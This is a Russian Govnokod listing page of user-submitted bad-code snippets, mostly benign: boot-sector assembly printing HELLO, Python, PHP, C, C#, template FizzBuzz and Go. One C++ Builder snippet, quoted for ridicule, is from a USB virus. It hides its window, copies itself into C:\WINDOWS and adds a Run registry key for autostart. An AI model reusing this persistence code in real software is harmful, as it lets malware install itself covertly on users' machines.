1. Лучший говнокод

    В номинации:
    За время:
  2. Assembler / Говнокод #3564

    +251

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    64. 64
    65. 65
    66. 66
    67. 67
    68. 68
    69. 69
    70. 70
    71. 71
    72. 72
    73. 73
    74. 74
    75. 75
    76. 76
    77. 77
    78. 78
    79. 79
    80. 80
    81. 81
    82. 82
    83. 83
    84. 84
    85. 85
    86. 86
    87. 87
    88. 88
    89. 89
    90. 90
    91. 91
    92. 92
    93. 93
    94. 94
    95. 95
    96. 96
    use32
    kernel:
      mov ax,0x8
      mov es,ax
      mov ds,ax
      mov ss,ax
      mov esp,0x10000
      
      
      macro SetPixel x,y
      {
        mov ebx,x
        mov eax,y
        call GSetPixel
      }
      
      mov esi,0xA0000
      xor ecx,ecx
      @@:
      mov eax,dword[charH+ecx*4]
      mov dword[esi],eax
      add esi,320
      inc ecx
      cmp ecx,7
      jb @b
      
      mov esi,0xA0006
      xor ecx,ecx
      @@:
      mov eax,dword[charE+ecx*4]
      mov dword[esi],eax
      add esi,320
      inc ecx
      cmp ecx,7
      jb @b
      
      mov esi,0xA000C
      xor ecx,ecx
      @@:
      mov eax,dword[charL+ecx*4]
      mov dword[esi],eax
      add esi,320
      inc ecx
      cmp ecx,7
      jb @b
      
      mov esi,0xA0012
      xor ecx,ecx
      @@:
      mov eax,dword[charL+ecx*4]
      mov dword[esi],eax
      add esi,320
      inc ecx
      cmp ecx,7
      jb @b
      
      mov esi,0xA0018
      xor ecx,ecx
      @@:
      mov eax,dword[charO+ecx*4]
      mov dword[esi],eax
      add esi,320
      inc ecx
      cmp ecx,7
      jb @b
      
      jmp $
      
    charH dd 0x0F00000F
          dd 0x0F00000F
          dd 0x0F00000F
          dd 0x0F0F0F0F
          dd 0x0F00000F
          dd 0x0F00000F
          dd 0x0F00000F
    charE dd 0x0F0F0F0F
          dd 0x0000000F
          dd 0x0000000F
          dd 0x0F0F0F0F
          dd 0x0000000F
          dd 0x0000000F
          dd 0x0F0F0F0F
    charL dd 0x0000000F
          dd 0x0000000F
          dd 0x0000000F
          dd 0x0000000F
          dd 0x0000000F
          dd 0x0000000F
          dd 0x0F0F0F0F
    charO dd 0x000F0F00
          dd 0x0F00000F
          dd 0x0F00000F
          dd 0x0F00000F
          dd 0x0F00000F
          dd 0x0F00000F
          dd 0x000F0F00

    Раскопал в старых файлах. Выводит на экран незамысловатое слово HELLO
    На World у меня бы одного бут-сектора не хватило.

    Ivan0x32, 24 Июня 2010

    Комментарии (40)
  3. Python / Говнокод #3536

    −142

    1. 1
    2. 2
    3. 3
    for i in range(4, len(l)):
    	if l[i] - l[i - 1] == 1 and l[i - 1] - l[i - 2] == 1 and l[i - 2] - l[i - 3] == 1 and l[i - 3] - l[i - 4] == 1:
    		return True

    Нужно было найти в списке 5 элементов, которые могут начинаться на любой позиции, но должны идти по порядку (например [9, 10, 11, 12, 13]). Не придумал ничего лучше :(

    cignatov, 22 Июня 2010

    Комментарии (40)
  4. PHP / Говнокод #3359

    +163

    1. 1
    <input type="submit" value="<?=lang('Send','Отправить')?>" />

    Говнокод или нет?

    Morsik, 31 Мая 2010

    Комментарии (40)
  5. C++ / Говнокод #3327

    +168

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    void __fastcall TForm1::FormCreate(TObject *Sender)
    {
    Application->ShowMainForm=false; //прячимся
    
    // Осваеваемся в новой системе
    if(ParamStr(0)!="C:\\WINDOWS\\WebKill_USB_Flash_V.exe") {
    //скопируемся
    CopyFile(ParamStr(0).c_str(),"C:\\WINDOWS\\WebKill_USB_Flash_V.exe",true);
    //и пропишимся в автозагрузку:
    TRegistry *reg=new TRegistry;
    reg->RootKey=HKEY_LOCAL_MACHINE;
    reg->OpenKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", false);
    reg->WriteString("SystemX" , "C:\\WINDOWS\\WebKill_USB_Flash_V.exe");
    reg->CloseKey();
    reg->Free();
    }

    ПРЯЧИМСЯ (с) всеми извесный убиватель интернетов и "пейсатель" вирусов, которые грузятся с флэшки, бугога. Самый няшный кусочек :-) Хотя там ещё было убер заражение подключённых устройств. Судите сами господа http://3.webkill.ru/flash_virus.html

    This is obvious, 26 Мая 2010

    Комментарии (40)
  6. PHP / Говнокод #3292

    +165

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    $image = $_FILES['image']['tmp_name'];    
        if( !empty($image) )
        {
           @$src = imagecreatefromjpeg($image);
    if($src==false){exit ('Это не картинка'); }

    Этот кусочек кода был спором 7 человек;)
    Это говнокод?

    FallenServer, 22 Мая 2010

    Комментарии (40)
  7. Си / Говнокод #3149

    +124

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    void f()
    {
    char d[14] = "Hello, error!";
    }
    
    void h()
    {
    char d[14];
    std::cout<<d;
    }
    
    int main()
    {
    f();
    h();
    }

    Кто отгадает, что делает этот код(а еще лучше почему он вобще работает) тому ни чего не будет.

    hromjo, 02 Мая 2010

    Комментарии (40)
  8. C# / Говнокод #3134

    +113

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    void listXmlTree(string filename)
            {
                XmlTextReader rdr = new XmlTextReader(filename);
    
                listBox1.Items.Clear();
                treeView1.Nodes.Clear();
                while (rdr.Read())
                {
                    string s = string.Format("<{0}> - {1}", rdr.Name, rdr.NodeType);
                    listBox1.Items.Add(s);
    
                    if ((rdr.Name == "LVL") && (rdr.NodeType != XmlNodeType.EndElement))
                    {
                        treeView1.Nodes.Add("LVL " + rdr.GetAttribute("N"));
                        while (rdr.Read())
                        {
                            if ((rdr.Name == "WRD") && (rdr.NodeType != XmlNodeType.EndElement))
                            {
                                treeView1.Nodes[treeView1.Nodes.Count - 1].Nodes.Add("WRD");
                                while (rdr.Read())
                                {
                                    if ((rdr.Name == "L") && (rdr.NodeType != XmlNodeType.EndElement))
                                    {
                                        treeView1.Nodes[treeView1.Nodes.Count - 1].Nodes[treeView1.Nodes[treeView1.Nodes.Count - 1].Nodes.Count - 1].Nodes.Add("L: " + rdr.ReadElementContentAsString());
    
                                    }
                                    if ((rdr.Name == "K") && (rdr.NodeType != XmlNodeType.EndElement))
                                    {
                                        treeView1.Nodes[treeView1.Nodes.Count - 1].Nodes[treeView1.Nodes[treeView1.Nodes.Count - 1].Nodes.Count - 1].Nodes.Add("K: " + rdr.ReadElementContentAsString());
                                        break;
                                    }
                                }
                            }
                            if ((rdr.Name == "CHS") && (rdr.NodeType != XmlNodeType.EndElement))
                            {
                                treeView1.Nodes[treeView1.Nodes.Count - 1].Nodes.Add("CHS: " + rdr.ReadElementContentAsString());
                                break;
                            }
    
                        }
                    }
    
                }
                rdr.Close();
            }

    Такие дела.

    t8apb, 30 Апреля 2010

    Комментарии (40)
  9. Assembler / Говнокод #1520

    +129.5

    1. 1
    2. 2
    call LABEL
    LABEL: pop eax

    Получение адреса текущей инструкции убийственным для производительности методом.

    OlegD, 11 Августа 2009

    Комментарии (40)
  10. C++ / Говнокод #28280

    −1

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    64. 64
    65. 65
    66. 66
    67. 67
    68. 68
    69. 69
    70. 70
    71. 71
    72. 72
    73. 73
    74. 74
    75. 75
    76. 76
    77. 77
    78. 78
    79. 79
    80. 80
    81. 81
    82. 82
    83. 83
    84. 84
    85. 85
    #include <iostream>
    
    // Truthiness
    struct true_type{static const bool value = true;};
    struct false_type{ static const bool value = false;};
    
    // Pick type based on bool value
    template <bool B, typename T, typename U>struct conditional{typedef T type;};
    template <typename T, typename U>struct conditional<false, T, U>{typedef U type;};
    
    // Compare two types
    template <typename T, typename U>struct is_same : public false_type{};
    template <typename T>struct is_same<T, T> : public true_type{};
    
    // Division predicate
    template <int a, int b>struct divides{static const bool value = (a % b == 0);};
    
    // Type traits
    template <typename T, int N = 0>
    struct fizzbuzz_traits{
    	typedef T type;
    	static const  int value = N;
    };
    
    template <> struct fizzbuzz_traits<char*, 0>{typedef char* type;};
    
    // fizzbuzz type initializers
    template <bool A, bool B> struct fizzbuzz{};
    
    template <> struct fizzbuzz<true, false> : public fizzbuzz_traits<char*> {static const char* value;};
    typedef fizzbuzz<true, false> fizz_type;
    const char* fizz_type::value = "fizz";      // static const char* can only be initialized out of line
    
    template <> struct fizzbuzz<true, true> : public fizzbuzz_traits<char*> {static const char* value;};
    typedef fizzbuzz<true, true> fizzbuzz_type;
    const char *fizzbuzz_type::value = "fizzbuzz"; 
    
    template <> struct fizzbuzz<false, true> : public fizzbuzz_traits<char*> {static const char* value;};
    typedef fizzbuzz<false, true> buzz_type;
    const char *buzz_type::value = "buzz";
    
    template <> struct fizzbuzz<false, false> : fizzbuzz_traits<void>{};
    
    
    // FizzBuzz solver
    template <int N>
    class FizzBuzz{
    private:
    	struct is_divisible : public true_type{
        
    		struct by3 : public divides<N, 3>{};
    		struct by5 : public divides<N, 5>{};
    	};
    public:
    	typedef fizzbuzz< is_divisible::by3::value, is_divisible::by5::value > solution_type; 
    	// stores string or 'false'
    	
    	typedef fizzbuzz_traits<int, N> non_divisible_type; 
    	// stores number
      
    	typedef typename conditional< !is_same<void, typename solution_type::type>::value,
    		solution_type, 
    		non_divisible_type>::type print_type;
    	// stores value to print
    };
    
    
    // Looping from N to M
    template <int N, int M>
    struct static_for{
    	static void value(){
    	std::cout << FizzBuzz<N>::print_type::value << std::endl;
    	static_for<N + 1, M>::value();
    	}
    };
    
    template <>
    struct static_for<101, 100>
    {
    	static void value(){};
    };
    
    int main(){
    	static_for<1, 100>::value();
    }

    Физзбазз на шаблонах без type_traits

    valo94, 17 Июля 2022

    Комментарии (39)
  11. Go / Говнокод #28110

    +1

    1. 1
    2. 2
    math.Min(float64, float64) float64
    math.Max(float64, float64) float64

    В goвне нету math.Min для integer. Даже в анскильном "Си" это есть.

    https://www.pixelstech.net/article/1559993656-Why-no-max-min-function-for-integer-in-GoLang

    3_dar, 05 Апреля 2022

    Комментарии (39)